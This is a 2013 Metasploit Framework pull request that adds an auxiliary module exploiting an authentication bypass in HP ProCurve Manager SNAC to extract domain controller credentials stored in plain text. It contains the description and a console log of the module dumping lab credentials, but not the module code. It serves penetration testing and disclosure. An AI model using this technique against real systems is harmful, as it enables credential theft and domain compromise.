rapid7/metasploit-framework — pull request #2368 by jvazquez-r7 (2013-09-13 23:34:45+00:00)
Title: Add module for auth bypass on HP Pro Curve Manager SNAC

The same auth bypass used by ZDI-13-226 (#2367), can be used to get domain credentials stored in plain text by HP Pro Curve Manager. Looks like interesting for an aux module, so here is! Tested with HP Pro Curve Manager SNAC 4.0

```
msf auxiliary(hp_snac_domain_creds) > rexploit
[*] Reloading module...

[*] 192.168.172.244:443 - Get Domain Info
[*] 192.168.172.244:443 - Exploiting Authentication Bypass to gather Domain Controller Info...
[*] 192.168.172.244:443 - Parsing data gathered...

Domain Controllers Credentials
==============================

Domain Controller Username Password
----------------- -------- --------
192.168.1.2 admin admin

[*] Auxiliary module execution completed
msf auxiliary(hp_snac_domain_creds) > hosts

Hosts
=====

address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.1.2 Unknown device

msf auxiliary(hp_snac_domain_creds) > creds

Credentials
===========

host port user pass type active?
---- ---- ---- ---- ---- -------
192.168.1.2 636 admin admin password true

msf auxiliary(hp_snac_domain_creds) > exit -y

```